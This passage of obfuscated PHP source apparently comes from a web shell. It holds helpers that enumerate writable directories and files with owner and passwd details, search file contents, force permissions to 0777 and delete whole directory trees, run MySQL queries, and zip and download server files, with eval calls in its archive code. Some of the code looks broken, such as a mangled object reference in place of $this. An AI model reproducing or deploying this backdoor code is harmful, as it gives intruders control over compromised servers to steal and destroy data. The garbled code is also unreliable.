/>",$aaaaaaaaa);$aaaaaaaaa=str_replace("  ","&nbsp;&nbsp;",$aaaaaaaaa);$aaaaaaaaa=str_replace("\t","&nbsp;&nbsp;&nbsp;&nbsp;",$aaaaaaaaa);return $aaaaaaaaa;}function getChmod($rrrr){return substr(base_convert(@fileperms($rrrr),10,8),-4);}function getPerms($rrrr){$bbbbbbbbb=@fileperms($rrrr);if(($bbbbbbbbb&0xC000)===0xC000){$aaaaaaa='s';}elseif(($bbbbbbbbb&0x4000)===0x4000){$aaaaaaa='d';}elseif(($bbbbbbbbb&0xA000)===0xA000){$aaaaaaa='l';}elseif(($bbbbbbbbb&0x8000)===0x8000){$aaaaaaa='-';}elseif(($bbbbbbbbb&0x6000)===0x6000){$aaaaaaa='b';}elseif(($bbbbbbbbb&0x2000)===0x2000){$aaaaaaa='c';}elseif(($bbbbbbbbb&0x1000)===0x1000){$aaaaaaa='p';}else{$aaaaaaa='?';}$ccccccccc['read']=($bbbbbbbbb&00400)?'r':'-';$ccccccccc['write']=($bbbbbbbbb&00200)?'w':'-';$ccccccccc['execute']=($bbbbbbbbb&00100)?'x':'-';$ddddddddd['read']=($bbbbbbbbb&00040)?'r':'-';$ddddddddd['write']=($bbbbbbbbb&00020)?'w':'-';$ddddddddd['execute']=($bbbbbbbbb&00010)?'x':'-';$eeeeeeeee['read']=($bbbbbbbbb&00004)?'r':'-';$eeeeeeeee['write']=($bbbbbbbbb&00002)?'w':'-';$eeeeeeeee['execute']=($bbbbbbbbb&00001)?'x':'-';if($bbbbbbbbb&0x800){$ccccccccc['execute']=($ccccccccc['execute']=='x')?'s':'S';}if($bbbbbbbbb&0x400){$ddddddddd['execute']=($ddddddddd['execute']=='x')?'s':'S';}if($bbbbbbbbb&0x200){$eeeeeeeee['execute']=($eeeeeeeee['execute']=='x')?'t':'T';}return $aaaaaaa.$ccccccccc['read'].$ccccccccc['write'].$ccccccccc['execute'].$ddddddddd['read'].$ddddddddd['write'].$ddddddddd['execute'].$eeeeeeeee['read'].$eeeeeeeee['write'].$eeeeeeeee['execute'];}function getUser($rrrr){if(function_exists('posix_getpwuid')){$xxxxxxxx=@posix_getpwuid(@fileowner($rrrr));if($xxxxxxxx&&is_array($xxxxxxxx)){return ' / <a href="#" title="User: '.$xxxxxxxx['name'].'&#13&#10Passwd: '.$xxxxxxxx['passwd'].'&#13&#10Uid: '.$xxxxxxxx['uid'].'&#13&#10gid: '.$xxxxxxxx['gid'].'&#13&#10Gecos: '.$xxxxxxxx['gecos'].'&#13&#10Dir: '.$xxxxxxxx['dir'].'&#13&#10Shell: '.$xxxxxxxx['shell'].'">'.$xxxxxxxx['name'].'</a>';}}return'';}function deltree($fffffffff){$ggggggggg=@dir($fffffffff);while($iiiii=$ggggggggg->read()){if((is_dir($fffffffff.'/'.$iiiii))&&($iiiii!='.')&&($iiiii!='..')){@chmod($fffffffff.'/'.$iiiii,0777);deltree($fffffffff.'/'.$iiiii);}if(is_file($fffffffff.'/'.$iiiii)){@chmod($fffffffff.'/'.$iiiii,0777);@unlink($fffffffff.'/'.$iiiii);}}$ggggggggg->close();@chmod($fffffffff,0777);return@rmdir($fffffffff)?1:0;}function bg(){global $hhhhhhhhh;return($hhhhhhhhh++%2==0)?'alt1':'alt2';}function getPath($iiiiiiiii,$iiii){if($iiii=='.'){$iiii=$iiiiiiiii;}$iiii=str_replace('\\','/',$iiii);$iiii=str_replace('//','/',$iiii);if(substr($iiii,-1)!='/'){$iiii=$iiii.'/';}return $iiii;}function getUpPath($iiii){$jjjjjjjjj=explode('/',$iiii);$pppppp=count($jjjjjjjjj);if($pppppp>2){unset($jjjjjjjjj[$pppppp-1],$jjjjjjjjj[$pppppp-2]);}$kkkkkkkkk=implode('/',$jjjjjjjjj).'/';$kkkkkkkkk=str_replace('//','/',$kkkkkkkkk);return $kkkkkkkkk;}function getcfg($lllllllll){$dddd=get_cfg_var($lllllllll);if($dddd==0){return 'No';}elseif($dddd==1){return 'Yes';}else{return $dddd;}}function getfun($mmmmmmmmm){return(false!==function_exists($mmmmmmmmm))?'Yes':'No';}function getextension($eeee){$nnnnnnnnn=pathinfo($eeee);return $nnnnnnnnn['extension'];}function GetWDirList($y){global $fffff,$ooooooooo,$iiii;!$ooooooooo&&$ooooooooo=1;if($uuuuuuuu=opendir($y)){while($iiiii=readdir($uuuuuuuu)){$qqqqqqqq=str_replace('//','/',$y.'/'.$iiiii);if($iiiii!='.'&&$iiiii!='..'&&is_dir($qqqqqqqq)){if(is_writable($qqqqqqqq)){$fffff[$ooooooooo]['filename']=str_replace($iiii,'',$qqqqqqqq);$fffff[$ooooooooo]['mtime']=@date('Y-m-d H:i:s',filemtime($qqqqqqqq));$fffff[$ooooooooo]['dirchmod']=getChmod($qqqqqqqq);$fffff[$ooooooooo]['dirperm']=getPerms($qqqqqqqq);$fffff[$ooooooooo]['dirlink']=ue($y);$fffff[$ooooooooo]['server_link']=$qqqqqqqq;$fffff[$ooooooooo]['client_link']=ue($qqqqqqqq);$ooooooooo++;}GetWDirList($qqqqqqqq);}}closedir($uuuuuuuu);clearstatcache();return $fffff;}else{return array();}}function GetWFileList($y){global $ggggg,$ooooooooo,$iiii,$bbbbb;!$ooooooooo&&$ooooooooo=1;if($uuuuuuuu=opendir($y)){while($iiiii=readdir($uuuuuuuu)){$ppppppppp=strtolower(getextension($iiiii));$qqqqqqqq=str_replace('//','/',$y.'/'.$iiiii);if($iiiii!='.'&&$iiiii!='..'&&is_dir($qqqqqqqq)){GetWFileList($qqqqqqqq);}elseif($iiiii!='.'&&$iiiii!='..'&&is_file($qqqqqqqq)&&(in_array($ppppppppp,explode(',',$bbbbb))||$bbbbb=="")){if(is_writable($qqqqqqqq)){$ggggg[$ooooooooo]['filename']=str_replace($iiii,'',$qqqqqqqq);$ggggg[$ooooooooo]['size']=sizecount(@filesize($qqqqqqqq));$ggggg[$ooooooooo]['mtime']=@date('Y-m-d H:i:s',filemtime($qqqqqqqq));$ggggg[$ooooooooo]['filechmod']=getChmod($qqqqqqqq);$ggggg[$ooooooooo]['fileperm']=getPerms($qqqqqqqq);$ggggg[$ooooooooo]['fileowner']=getUser($qqqqqqqq);$ggggg[$ooooooooo]['dirlink']=$y;$ggggg[$ooooooooo]['server_link']=$qqqqqqqq;$ggggg[$ooooooooo]['client_link']=ue($qqqqqqqq);$ooooooooo++;}}}closedir($uuuuuuuu);clearstatcache();return $ggggg;}else{return array();}}function GetSFileList($y,$aaaaaaaaa,$aaaaa=0){global $ggggg,$ooooooooo,$iiii,$bbbbb;!$ooooooooo&&$ooooooooo=1;if($uuuuuuuu=opendir($y)){while($iiiii=readdir($uuuuuuuu)){$ppppppppp=strtolower(getextension($iiiii));$qqqqqqqq=str_replace('//','/',$y.'/'.$iiiii);if($iiiii!='.'&&$iiiii!='..'&&is_dir($qqqqqqqq)){GetSFileList($qqqqqqqq,$aaaaaaaaa,$aaaaa=0);}elseif($iiiii!='.'&&$iiiii!='..'&&is_file($qqqqqqqq)&&(in_array($ppppppppp,explode(',',$bbbbb))||$bbbbb=="")){$qqqqqqqqq=0;if($aaaaa){if(preg_match('@'.$aaaaaaaaa.'@',$iiiii)||preg_match('@'.$aaaaaaaaa.'@',@file_get_contents($qqqqqqqq))){$qqqqqqqqq=1;}}else{if(strstr($iiiii,$aaaaaaaaa)||strstr(@file_get_contents($qqqqqqqq),$aaaaaaaaa)){$qqqqqqqqq=1;}}if($qqqqqqqqq){$ggggg[$ooooooooo]['filename']=str_replace($iiii,'',$qqqqqqqq);$ggggg[$ooooooooo]['size']=sizecount(@filesize($qqqqqqqq));$ggggg[$ooooooooo]['mtime']=@date('Y-m-d H:i:s',filemtime($qqqqqqqq));$ggggg[$ooooooooo]['filechmod']=getChmod($qqqqqqqq);$ggggg[$ooooooooo]['fileperm']=getPerms($qqqqqqqq);$ggggg[$ooooooooo]['fileowner']=getUser($qqqqqqqq);$ggggg[$ooooooooo]['dirlink']=$y;$ggggg[$ooooooooo]['server_link']=$qqqqqqqq;$ggggg[$ooooooooo]['client_link']=ue($qqqqqqqq);$ooooooooo++;}}}closedir($uuuuuuuu);clearstatcache();return $ggggg;}else{return array();}}function qy($cccc,$rrrrrrrrr){$nnnnnnn=$sssssssss='';if(!$nnnnnnn=@mysqli_query($cccc,$rrrrrrrrr)){return(0);}else if(@mysqli_num_rows($nnnnnnn)>0){return(1);}else{return(2);}}function q($cccc,$rrrrrrrrr){return@mysqli_query($cccc,$rrrrrrrrr);}function fr($ttttttttt){mysqli_free_result($ttttttttt);}function sizecount($vvvvvvvv){if($vvvvvvvv>1073741824){$vvvvvvvv=(round($vvvvvvvv/1073741824*100)/100).' G';}elseif($vvvvvvvv>1048576){$vvvvvvvv=(round($vvvvvvvv/1048576*100)/100).' M';}elseif($vvvvvvvv>1024){$vvvvvvvv=(round($vvvvvvvv/1024*100)/100).' K';}else{$vvvvvvvv=$vvvvvvvv.' B';}return $vvvvvvvv;}Class PHPZip1{var $uuuuuuuuu="../../@UpLoad";var $vvvvvvvvv=array();var $wwwwwwwww=array();var $xxxxxxxxx="\x50\x4b\x05\x06\x00\x00\x00\x00";var $yyyyyyyyy=0;Function DownLoad($zzzzzzzzz,$aaaaaaaaaa,$bbbbbbbbbb){$aaaaaaaaaa=StrToLower($aaaaaaaaaa);$zzzzzzzzz=Str_iReplace(basename($zzzzzzzzz),"",$zzzzzzzzz);chdir($zzzzzzzzz.$cccccccccc->StrPath);header('Content-Encoding: none');header('Content-Type: application/zip');header('Content-Disposition: attachment ; filename='.Str_Replace(".zip","",basename($aaaaaaaaaa)).'.zip');header('Pragma: no-cache');header('Expires: 0');print($bbbbbbbbbb);}Function SaveFile($zzzzzzzzz,$aaaaaaaaaa,$bbbbbbbbbb){$zzzzzzzzz=Str_iReplace(basename($zzzzzzzzz),"",$zzzzzzzzz);chdir($zzzzzzzzz.$cccccccccc->StrPath);$mmmm=fopen($aaaaaaaaaa,"wb");fwrite($mmmm,$bbbbbbbbbb,strlen($bbbbbbbbbb));fclose($mmmm);}Function ZipDir($y,$aaaaaaaaaa,$dddddddddd){IF(!@Function_exists('gzcompress')){return(0);}@set_time_limit("0");$cccccccccc->openFile($y,$aaaaaaaaaa);$bbbbbbbbbb=$cccccccccc->filezip();Switch($dddddddddd){Case "1":$cccccccccc->DownLoad(__FILE__,$aaaaaaaaaa,$bbbbbbbbbb);Break;Case "2":$cccccccccc->SaveFile(__FILE__,$aaaaaaaaaa,$bbbbbbbbbb);Break;}}Function ZipFile($iiiii,$aaaaaaaaaa,$dddddddddd){IF(!@Function_exists('gzcompress')){return(0);}IF(is_array($iiiii)){Foreach($iiiii as $eeee){IF(is_file($eeee)){$eeeeeeeeee=fopen($eeee,"rb");$aaaaaaaaa=@fread($eeeeeeeeee,filesize($eeee));fclose($eeeeeeeeee);$eeee=basename($eeee);$cccccccccc->addFile($aaaaaaaaa,$eeee);}}}Else{IF(is_file($iiiii)){$eeeeeeeeee=fopen($iiiii,"rb");$aaaaaaaaa=@fread($eeeeeeeeee,filesize($iiiii));fclose($eeeeeeeeee);$iiiii=basename($iiiii);$cccccccccc->addFile($aaaaaaaaa,$iiiii);}}$bbbbbbbbbb=$cccccccccc->filezip();Switch($dddddddddd){Case "1":$cccccccccc->DownLoad(__FILE__,$aaaaaaaaaa,$bbbbbbbbbb);Break;Case "2":$cccccccccc->SaveFile(__FILE__,$aaaaaaaaaa,$bbbbbbbbbb);Break;}}Function openFile($iii,$ffffffffff){$gggggggggg=$iii;$hhhhhhhhhh=$ffffffffff;IF($iiiiiiiiii=@opendir($iii)){While(false!==($iiiii=readdir($iiiiiiiiii))){IF($iiiii!='.'and $iiiii!='..'){IF(ereg('\.',$iiiii.@basename())){$eeeeeeeeee=fopen($iii.'/'.$iiiii,"r");$jjjjjjjjjj=@fread($eeeeeeeeee,1024000);fclose($eeeeeeeeee);$cccccccccc->addFile($jjjjjjjjjj,$iii.'/'.$iiiii);}Else{$cccccccccc->openFile($iii.'/'.$iiiii,$ffffffffff.'/'.$iiiii);}}}$ffffffffff=$hhhhhhhhhh;$iii=$gggggggggg;closedir($iiiiiiiiii);}}Function addFile($kkkkkkkkkk,$zzzzzz,$pppp=0){$zzzzzz=str_replace('\\','/',$zzzzzz);$zzzzzz=str_replace('./','',str_replace('../','',$zzzzzz));$llllllllll=dechex($cccccccccc->unix2DosTime($pppp));$mmmmmmmmmm='\x'.$llllllllll[6].$llllllllll[7].'\x'.$llllllllll[4].$llllllllll[5].'\x'.$llllllllll[2].$llllllllll[3].'\x'.$llllllllll[0].$llllllllll[1];Eval('$hexdtime="'.$mmmmmmmmmm.'";');$nnnnnnnnnn="\x50\x4b\x03\x04";$nnnnnnnnnn.="\x14\x00";$nnnnnnnnnn.="\x00\x00";$nnnnnnnnnn.="\x08\x00";$nnnnnnnnnn.=$mmmmmmmmmm;$oooooooooo=strlen($kkkkkkkkkk);$pppppppppp=crc32($kkkkkkkkkk);$qqqqqqqqqq=gzcompress($kkkkkkkkkk);$rrrrrrrrrr=strlen($qqqqqqqqqq);$qqqqqqqqqq=substr(substr($qqqqqqqqqq,0,strlen($qqqqqqqqqq)-4),2);$nnnnnnnnnn.=pack('V',$pppppppppp);$nnnnnnnnnn.=pack('V',$rrrrrrrrrr);$nnnnnnnnnn.=pack('V',$oooooooooo);$nnnnnnnnnn.=pack('v',strlen($zzzzzz));$nnnnnnnnnn.=pack('v',0);$nnnnnnnnnn.=$zzzzzz;$nnnnnnnnnn.=$qqqqqqqqqq;$nnnnnnnnnn.=pack('V',$pppppppppp);$nnnnnnnnnn.=pack('V',$rrrrrrrrrr);$nnnnnnnnnn.=pack('V',$oooooooooo);$cccccccccc->datasec[]=$nnnnnnnnnn;$ssssssssss=strlen(implode('',$cccccccccc->datasec));$tttttttttt="\x50\x4b\x01\x02";$tttttttttt.="\x00\x00";$tttttttttt.="\x14\x00";$tttttttttt.="\x00\x00";$tttttttttt.="\x08\x00";$tttttttttt.=$mmmmmmmmmm;$tttttttttt.=pack('V',$pppppppppp);$tttttttttt.=pack('V',$rrrrrrrrrr);$tttttttttt.=pack('V',$oooooooooo);$tttttttttt.=pack('v',strlen($zzzzzz));$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('V',32);$tttttttttt.=pack('V',$cccccccccc->old_offset);$cccccccccc->old_offset=$ssssssssss;$tttttttttt.=$zzzzzz;$cccccccccc->ctrl_dir[]=$tttttttttt;}Function filezip(){$kkkkkkkkkk=implode('',$cccccccccc->datasec);$uuuuuuuuuu=implode('',$cccccccccc->ctrl_dir);Return $kkkkkkkkkk.$uuuuuuuuuu.$cccccccccc->eof_ctrl_dir.pack('v',sizeof($cccccccccc->ctrl_dir)).pack('v',sizeof($cccccccccc->ctrl_dir)).pack('V',strlen($uuuuuuuuuu)).pack('V',strlen($kkkkkkkkkk))."\x00\x00";}Function unix2DosTime($vvvvvvvvvv=0){$wwwwwwwwww=($vvvvvvvvvv==0)?getdate():getdate($vvvvvvvvvv);IF($wwwwwwwwww['year']<1980){$wwwwwwwwww['year']=1980;$wwwwwwwwww['mon']=1;$wwwwwwwwww['mday']=1;$wwwwwwwwww['hours']=0;$wwwwwwwwww['minutes']=0;$wwwwwwwwww['seconds']=0;}Return(($wwwwwwwwww['year']-1980)<<25)|($wwwwwwwwww['mon']<<21)|($wwwwwwwwww['mday']<<16)|($wwwwwwwwww['hours']<<11)|($wwwwwwwwww['minutes']<<5)|($wwwwwwwwww['seconds']>>1);}Function Unzip_File($xxxxxxxxxx,$oooooooo,$yyyyyyyyyy=Array(-1)){$zzzzzzzzzz=0;$ssss=@fopen($xxxxxxxxxx,'rb');IF(!$ssss){Return(-1);}$aaaaaaaaaaa=$cccccccccc->ReadCentralDir($ssss,$xxxxxxxxxx);$bbbbbbbbbbb=$aaaaaaaaaaa['offset'];IF(!is_array($yyyyyyyyyy)){$yyyyyyyyyy=array($yyyyyyyyyy);}For($xxxxxx=0;$yyyyyyyyyy[$xxxxxx];$xxxxxx++){IF(intval($yyyyyyyyyy[$xxxxxx])!=$yyyyyyyyyy[$xxxxxx]||$yyyyyyyyyy[$xxxxxx]>$aaaaaaaaaaa['entries']){Return(-1);}}For($xxxxxx=0;$xxxxxx<$aaaaaaaaaaa['entries'];$xxxxxx++){@fseek($ssss,$bbbbbbbbbbb);$ccccccccccc=$cccccccccc->ReadCentralFileHeaders($ssss);$ccccccccccc['index']=$xxxxxx;$bbbbbbbbbbb=ftell($ssss);@rewind($ssss);fseek($ssss,$ccccccccccc['offset']);IF(in_array("-1",$yyyyyyyyyy)||in_array($xxxxxx,$yyyyyyyyyy)){$ddddddddddd[$ccccccccccc['filename']]=$cccccccccc->ExtractFile($ccccccccccc,$oooooooo,$ssss);}}fclose($ssss);Return $ddddddddddd;}Function get_List($eeeeeeeeeee){$ssss=@fopen($eeeeeeeeeee,'rb');IF(!$ssss){Return(0);}$fffffffffff=$cccccccccc->ReadCentralDir($ssss,$eeeeeeeeeee);@rewind($ssss);@fseek($ssss,$fffffffffff['offset']);For($xxxxxx=0;$xxxxxx<$fffffffffff['entries'];$xxxxxx++){$ccccccccccc=$cccccccccc->ReadCentralFileHeaders($ssss);$ccccccccccc['index']=$xxxxxx;$eeeeeeee['filename']=$ccccccccccc['filename'];$eeeeeeee['stored_filename']=$ccccccccccc['stored_filename'];$eeeeeeee['size']=$ccccccccccc['size'];$eeeeeeee['compressed_size']=$ccccccccccc['compressed_size'];$eeeeeeee['crc']=strtoupper(dechex($ccccccccccc['crc']));$eeeeeeee['mtime']=$ccccccccccc['mtime'];$eeeeeeee['comment']=$ccccccccccc['comment'];$eeeeeeee['folder']=($ccccccccccc['external']==0x41FF0010||$ccccccccccc['external']==16)?1:0;$eeeeeeee['index']=$ccccccccccc['index'];$eeeeeeee['status']=$ccccccccccc['status'];$ggggggggggg[]=$eeeeeeee;unset($ccccccccccc);}Return $ggggggggggg;}Function ReadFileHeader($ssss){$hhhhhhhhhhh=fread($ssss,30);$kkkkkkkkkk=unpack('vchk/vid/vversion/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len',$hhhhhhhhhhh);$ccccccccccc['filename']=fread($ssss,$kkkkkkkkkk['filename_len']);IF($kkkkkkkkkk['extra_len']!=0){$ccccccccccc['extra']=fread($ssss,$kkkkkkkkkk['extra_len']);}Else{$ccccccccccc['extra']='';}$ccccccccccc['compression']=$kkkkkkkkkk['compression'];$ccccccccccc['size']=$kkkkkkkkkk['size'];$ccccccccccc['compressed_size']=$kkkkkkkkkk['compressed_size'];$ccccccccccc['crc']=$kkkkkkkkkk['crc'];$ccccccccccc['flag']=$kkkkkkkkkk['flag'];$ccccccccccc['mdate']=$kkkkkkkkkk['mdate'];$ccccccccccc['mtime']=$kkkkkkkkkk['mtime'];IF($ccccccccccc['mdate']&&$ccccccccccc['mtime']){$bbb=($ccccccccccc['mtime']&0xF800)>>11;$ccc=($ccccccccccc['mtime']&0x07E0)>>5;$iiiiiiiiiii=($ccccccccccc['mtime']&0x001F)*2;$yy=(($ccccccccccc['mdate']&0xFE00)>>9)+1980;$zz=($ccccccccccc['mdate']&0x01E0)>>5;$aaa=$ccccccccccc['mdate']&0x001F;$ccccccccccc['mtime']=mktime($bbb,$ccc,$iiiiiiiiiii,$zz,$aaa,$yy);}Else{$ccccccccccc['mtime']=time();}$ccccccccccc['stored_filename']=$ccccccccccc['filename'];$ccccccccccc['status']="ok";Return $ccccccccccc;}Function ReadCentralFileHeaders($ssss){$hhhhhhhhhhh=fread($ssss,46);$ccccccccccc=unpack('vchkid/vid/vversion/vversion_extracted/vflag/vcompression/vmtime/vmdate/Vcrc/Vcompressed_size/Vsize/vfilename_len/vextra_len/vcomment_len/vdisk/vinternal/Vexternal/Voffset',$hhhhhhhhhhh);IF($ccccccccccc['filename_len']!=0)$ccccccccccc['filename']=fread($ssss,$ccccccccccc['filename_len']);Else $ccccccccccc['filename']='';IF($ccccccccccc['extra_len']!=0)$ccccccccccc['extra']=fread($ssss,$ccccccccccc['extra_len']);Else $ccccccccccc['extra']='';IF($ccccccccccc['comment_len']!=0)$ccccccccccc['comment']=fread($ssss,$ccccccccccc['comment_len']);Else $ccccccccccc['comment']='';IF($ccccccccccc['mdate']&&$ccccccccccc['mtime']){$bbb=($ccccccccccc['mtime']&0xF800)>>11;$ccc=($ccccccccccc['mtime']&0x07E0)>>5;$iiiiiiiiiii=($ccccccccccc['mtime']&0x001F)*2;$yy=(($ccccccccccc['mdate']&0xFE00)>>9)+1980;$zz=($ccccccccccc['mdate']&0x01E0)>>5;$aaa=$ccccccccccc['mdate']&0x001F;$ccccccccccc['mtime']=mktime($bbb,$ccc,$iiiiiiiiiii,$zz,$aaa,$yy);}Else{$ccccccccccc['mtime']=time();}$ccccccccccc['stored_filename']=$ccccccccccc['filename'];$ccccccccccc['status']='ok';IF(substr($ccccccccccc['filename'],-1)=='/')$ccccccccccc['external']=0x41FF0010;Return $ccccccccccc;}Function ReadCentralDir($ssss,$eeeeeeeeeee){$vvvvvvvv=filesize($eeeeeeeeeee);IF($vvvvvvvv<277){$jjjjjjjjjjj=$vvvvvvvv;}Else{$jjjjjjjjjjj=277;}@fseek($ssss,$vvvvvvvv-$jjjjjjjjjjj);$kkkkkkkkkkk=ftell($ssss);$lllllllllll=0x00000000;While($kkkkkkkkkkk<$vvvvvvvv){$mmmmmmmmmmm=@fread($ssss,1);$lllllllllll=($lllllllllll<<8)|Ord($mmmmmmmmmmm);IF($lllllllllll==0x504b0506){$kkkkkkkkkkk++;break;}$kkkkkkkkkkk++;}$kkkkkkkkkk=unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size',fread($ssss,18));IF($kkkkkkkkkk['comment_size']!=0){$fffffffffff['comment']=fread($ssss,$kkkkkkkkkk['comment_size']);}Else{$fffffffffff['comment']='';}$fffffffffff['entries']=$kkkkkkkkkk['entries'];$fffffffffff['disk_entries']=$kkkkkkkkkk['disk_entries'];$fffffffffff['offset']=$kkkkkkkkkk['offset'];$fffffffffff['disk_start']=$kkkkkkkkkk['disk_start'];$fffffffffff['size']=$kkkkkkkkkk['size'];$fffffffffff['disk']=$kkkkkkkkkk['disk'];Return $fffffffffff;}Function ExtractFile($ccccccccccc,$oooooooo,$ssss){$ccccccccccc=$cccccccccc->readfileheader($ssss);IF(substr($oooooooo,-1)!="/")$oooooooo.="/";IF(!@is_dir($oooooooo))@mkdir($oooooooo,0777);$nnnnnnnnnnn=explode("/",dirname($ccccccccccc['filename']));For($xxxxxx=0;isset($nnnnnnnnnnn[$xxxxxx]);$xxxxxx++){IF(!$nnnnnnnnnnn[$xxxxxx])continue;$ooooooooooo.=$nnnnnnnnnnn[$xxxxxx]."/";IF(!is_dir($oooooooo.$ooooooooooo))@mkdir($oooooooo.$ooooooooooo,0777);}IF(!($ccccccccccc['external']==0x41FF0010)&&!($ccccccccccc['external']==16)){IF($ccccccccccc['compression']==0){$mmmm=@fopen($oooooooo.$ccccccccccc['filename'],'wb');IF(!$mmmm)Return(-1);$vvvvvvvv=$ccccccccccc['compressed_size'];While($vvvvvvvv!=0){$ppppppppppp=($vvvvvvvv<2048?$vvvvvvvv:2048);$qqqqqqqqqqq=fread($ssss,$ppppppppppp);$hhhhhhhhhhh=pack('a'.$ppppppppppp,$qqqqqqqqqqq);@fwrite($mmmm,$hhhhhhhhhhh,$ppppppppppp);$vvvvvvvv-=$ppppppppppp;}fclose($mmmm);touch($oooooooo.$ccccccccccc['filename'],$ccccccccccc['mtime']);}Else{$mmmm=@fopen($oooooooo.$ccccccccccc['filename'].'.gz','wb');IF(!$mmmm)Return(-1);$hhhhhhhhhhh=pack('va1a1Va1a1',0x8b1f,Chr($ccccccccccc['compression']),Chr(0x00),time(),Chr(0x00),Chr(3));fwrite($mmmm,$hhhhhhhhhhh,10);$vvvvvvvv=$ccccccccccc['compressed_size'];While($vvvvvvvv!=0){$ppppppppppp=($vvvvvvvv<1024?$vvvvvvvv:1024);$qqqqqqqqqqq=fread($ssss,$ppppppppppp);$hhhhhhhhhhh=pack('a'.$ppppppppppp,$qqqqqqqqqqq);@fwrite($mmmm,$hhhhhhhhhhh,$ppppppppppp);$vvvvvvvv-=$ppppppppppp;}$hhhhhhhhhhh=pack('VV',$ccccccccccc['crc'],$ccccccccccc['size']);fwrite($mmmm,$hhhhhhhhhhh,8);fclose($mmmm);$rrrrrrrrrrr=@gzopen($oooooooo.$ccccccccccc['filename'].'.gz','rb')or die("Cette archive est compresse");IF(!$rrrrrrrrrrr)Return(-2);$mmmm=@fopen($oooooooo.$ccccccccccc['filename'],'wb');IF(!$mmmm)Return(-1);$vvvvvvvv=$ccccccccccc['size'];While($vvvvvvvv!=0){$ppppppppppp=($vvvvvvvv<2048?$vvvvvvvv:2048);$qqqqqqqqqqq=gzread($rrrrrrrrrrr,$ppppppppppp);$hhhhhhhhhhh=pack('a'.$ppppppppppp,$qqqqqqqqqqq);@fwrite($mmmm,$hhhhhhhhhhh,$ppppppppppp);$vvvvvvvv-=$ppppppppppp;}fclose($mmmm);gzclose($rrrrrrrrrrr);touch($oooooooo.$ccccccccccc['filename'],$ccccccccccc['mtime']);@unlink($oooooooo.$ccccccccccc['filename'].'.gz');}}Return true;}}class PHPZip2{var $bbbbbbbbbb='';function __construct($y){if(@function_exists('gzcompress')){$zzzzzzzzz=getcwd();if(is_array($y))$sssssssssss=$y;else{$sssssssssss=$cccccccccc->GetFileList($y);foreach($sssssssssss as $yyyyyyyy=>$zzzzzzzz)$sssssssssss[]=substr($zzzzzzzz,strlen($y)+1);}if((!empty($y))&&(!is_array($y))&&(file_exists($y)))chdir($y);else chdir($zzzzzzzzz);if(count($sssssssssss)>0){foreach($sssssssssss as $eeee){if(is_file($eeee)){$eeeeeeeeee=fopen($eeee,'r');$aaaaaaaaa=@fread($eeeeeeeeee,filesize($eeee));fclose($eeeeeeeeee);if(is_array($y))$eeee=basename($eeee);$cccccccccc->addFile($aaaaaaaaa,$eeee);}}$cccccccccc->out=$cccccccccc->file();chdir($zzzzzzzzz);}return(1);}else return(0);}function GetFileList($y){static $ttttttt;if(is_dir($y)){if($uuuuuuuu=opendir($y)){while($iiiii=readdir($uuuuuuuu)){if($iiiii!='.'&&$iiiii!='..'){$qqqqqqqq=$y.'/'.$iiiii;if(is_dir($qqqqqqqq))$cccccccccc->GetFileList($qqqqqqqq);$ttttttt[]=$qqqqqqqq;}}closedir($uuuuuuuu);}}return $ttttttt;}var $vvvvvvvvv=array();var $wwwwwwwww=array();var $xxxxxxxxx="\x50\x4b\x05\x06\x00\x00\x00\x00";var $yyyyyyyyy=0;function unix2DosTime($vvvvvvvvvv=0){$wwwwwwwwww=($vvvvvvvvvv==0)?getdate():getdate($vvvvvvvvvv);if($wwwwwwwwww['year']<1980){$wwwwwwwwww['year']=1980;$wwwwwwwwww['mon']=1;$wwwwwwwwww['mday']=1;$wwwwwwwwww['hours']=0;$wwwwwwwwww['minutes']=0;$wwwwwwwwww['seconds']=0;}return(($wwwwwwwwww['year']-1980)<<25)|($wwwwwwwwww['mon']<<21)|($wwwwwwwwww['mday']<<16)|($wwwwwwwwww['hours']<<11)|($wwwwwwwwww['minutes']<<5)|($wwwwwwwwww['seconds']>>1);}function addFile($kkkkkkkkkk,$zzzzzz,$pppp=0){$zzzzzz=str_replace('\\','/',$zzzzzz);$llllllllll=dechex($cccccccccc->unix2DosTime($pppp));$mmmmmmmmmm='\x'.$llllllllll[6].$llllllllll[7].'\x'.$llllllllll[4].$llllllllll[5].'\x'.$llllllllll[2].$llllllllll[3].'\x'.$llllllllll[0].$llllllllll[1];eval('$hexdtime = "'.$mmmmmmmmmm.'";');$nnnnnnnnnn="\x50\x4b\x03\x04";$nnnnnnnnnn.="\x14\x00";$nnnnnnnnnn.="\x00\x00";$nnnnnnnnnn.="\x08\x00";$nnnnnnnnnn.=$mmmmmmmmmm;$oooooooooo=strlen($kkkkkkkkkk);$pppppppppp=crc32($kkkkkkkkkk);$qqqqqqqqqq=gzcompress($kkkkkkkkkk);$rrrrrrrrrr=strlen($qqqqqqqqqq);$qqqqqqqqqq=substr(substr($qqqqqqqqqq,0,strlen($qqqqqqqqqq)-4),2);$nnnnnnnnnn.=pack('V',$pppppppppp);$nnnnnnnnnn.=pack('V',$rrrrrrrrrr);$nnnnnnnnnn.=pack('V',$oooooooooo);$nnnnnnnnnn.=pack('v',strlen($zzzzzz));$nnnnnnnnnn.=pack('v',0);$nnnnnnnnnn.=$zzzzzz;$nnnnnnnnnn.=$qqqqqqqqqq;$nnnnnnnnnn.=pack('V',$pppppppppp);$nnnnnnnnnn.=pack('V',$rrrrrrrrrr);$nnnnnnnnnn.=pack('V',$oooooooooo);$cccccccccc->datasec[]=$nnnnnnnnnn;$ssssssssss=strlen(implode('',$cccccccccc->datasec));$tttttttttt="\x50\x4b\x01\x02";$tttttttttt.="\x00\x00";$tttttttttt.="\x14\x00";$tttttttttt.="\x00\x00";$tttttttttt.="\x08\x00";$tttttttttt.=$mmmmmmmmmm;$tttttttttt.=pack('V',$pppppppppp);$tttttttttt.=pack('V',$rrrrrrrrrr);$tttttttttt.=pack('V',$oooooooooo);$tttttttttt.=pack('v',strlen($zzzzzz));$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('v',0);$tttttttttt.=pack('V',32);$tttttttttt.=pack('V',$cccccccccc->old_offset);$cccccccccc->old_offset=$ssssssssss;$tttttttttt.=$zzzzzz;$cccccccccc->ctrl_dir[]=$tttttttttt;}function 